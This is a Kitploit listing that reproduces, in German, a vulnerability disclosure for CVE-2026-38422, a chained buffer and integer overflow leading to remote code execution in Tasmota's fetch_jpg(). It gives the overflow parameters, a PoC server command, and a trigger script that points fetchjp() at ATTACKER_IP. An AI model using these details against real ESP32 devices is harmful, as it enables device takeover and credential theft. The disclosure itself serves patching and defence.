Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-38422 — CVE-2026-38422 — Remote Code Execution durch kombinierte Pufferüberläufe in Tasmota fetch_jpg() (Tasmota <= 15.3.0.3) | Kitploit
Tools/GitHubGitHub/sermikr0/cve-2026-38422
Embedded-System-SicherheitIoT-SicherheitSchwachstellenanalyseExploitationPenetrationstestsHardware- & IoT-SicherheitRemote-Access-ToolBinary-Exploitation
GitHubsermikr0/cve-2026-38422

CVE-2026-38422

CVE-2026-38422 — Remote Code Execution durch kombinierte Pufferüberläufe in Tasmota fetch_jpg() (Tasmota <= 15.3.0.3)

16vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

CVE-2026-38422: Remote Code Execution durch kombinierte Pufferüberläufe in Tasmota fetch_jpg()

CVE: CVE-2026-38422
Schweregrad: Kritisch (CVSS 9.8)
Produkt: Arendst Tasmota
Betroffene Version: <= 15.3.0.3
Datei: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Funktion: fetch_jpg()
Autor: Saidakbarxon Maxsudxonov
Offenlegung: Verantwortungsvoll – vor Veröffentlichung an Tasmota gemeldet


Zusammenfassung

Die fetch_jpg()-Funktion im Tasmota-Scripter-Treiber (xdrv_10_scripter.ino) enthält zwei sich verstärkende Speicherkorruptions-Schwachstellen, die gemeinsam eine Remote-Codeausführung auf ESP32-basierten Geräten mit Tasmota <= 15.3.0.3 ermöglichen:

  1. Phase 1 (Fall 0): strcpy()-Überlauf in einen festen 40-Byte boundary[]-Puffer – beschädigt angrenzenden Heap-Speicher, einschließlich WiFiClient/HTTPClient vtable-Zeiger (siehe auch CVE-2026-38426)
  2. Phase 2 (Fall 2): uint16_t-Integer-Überlauf bei Content-Length – allokiert einen zu kleinen Puffer, was zur Korruption des Stream-Status führt (siehe auch CVE-2026-38427)

Zusammen in einer einzigen Angriffssitzung genutzt, maximieren diese beiden Primitiven die Heap-Korruption und erhöhen die Wahrscheinlichkeit einer willkürlichen Codeausführung erheblich.


Angriffskette

Attacker MJPEG Server
       │
       │ Phase 1: HTTP 200 response with long boundary string
       │   Content-Type: multipart/x-mixed-replace; boundary=AAAA...AAAA (50+ chars)
       │   → strcpy(boundary[40], 50_chars) → OVERFLOW
       │   → WiFiClient vtable ptr partially overwritten
       ▼
  ESP32 Heap Corrupted
       │
       │ Phase 2: MJPEG frame with Content-Length > 65535
       │   Content-Length: 65537
       │   → uint16_t size = 1 (wraparound)
       │   → malloc(1), readBytes(buff, 1)
       │   → 65536 bytes remain in stream → heap/stream corruption
       ▼
  Double Corruption → RCE / Guaranteed DoS

Proof of Concept

# Combined attack — phase 1 + phase 2
python3 CVE-2026-38422_poc.py --port 8887 --mode dos

Der PoC-Server:

  1. Nimmt Verbindung von Tasmota an (fetchjp()-Auslöser)
  2. Phase 1: Sendet initiale HTTP 200 mit Boundary-String von 80 Zeichen (Überlauf)
  3. Phase 2: Sendet MJPEG-Frames mit Content-Length: 65537 (Überlauf)

Siehe CVE-2026-38422_poc.py für die vollständige Implementierung.


Auslösen über Tasmota-Skript

>D
>B
fetchjp(ATTACKER_IP:8887/stream,0,0,1)
>1
=fetchjp(2,0,0,1)

Das Gerät muss ein Tasmota-Skript ausführen, das fetchjp() verwendet. Der Angreifer kontrolliert den Server, mit dem das Gerät verbunden ist (oder führt MITM auf einer bestehenden Verbindung durch).


Auswirkungen

  • Vertraulichkeit: Hoch – RCE auf ESP32, Zugriff auf Gerätegeheimnisse/-anmeldedaten
  • Integrität: Hoch – vollständige Geräteübernahme
  • Verfügbarkeit: Hoch – garantierter Absturz/Neustart-Schleife
  • Angriffsvektor: Netzwerk (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  • CVSS-Score: 9.8 Kritisch

Betroffene Geräte

Jedes ESP32-basierte Tasmota-Gerät mit Version <= 15.3.0.3, aktivierter Scripter-Unterstützung und einem Skript, das fetchjp() zur Verbindung mit einem externen MJPEG-Server verwendet.


Zeitplan

  • 2026-03-29: Beide Schwachstellen entdeckt und an MITRE gemeldet
  • 2026-03-29: CVE-2026-38422 zugewiesen
  • 2026-05-xx: Patch von Tasmota veröffentlicht (v15.3.0.4+)

Referenzen

  • Tasmota GitHub
  • xdrv_10_scripter.ino
  • CVE-2026-38422
  • Verwandt: CVE-2026-38426 (strcpy-Überlauf)
  • Verwandt: CVE-2026-38427 (uint16_t-Überlauf)
Tool herunterladen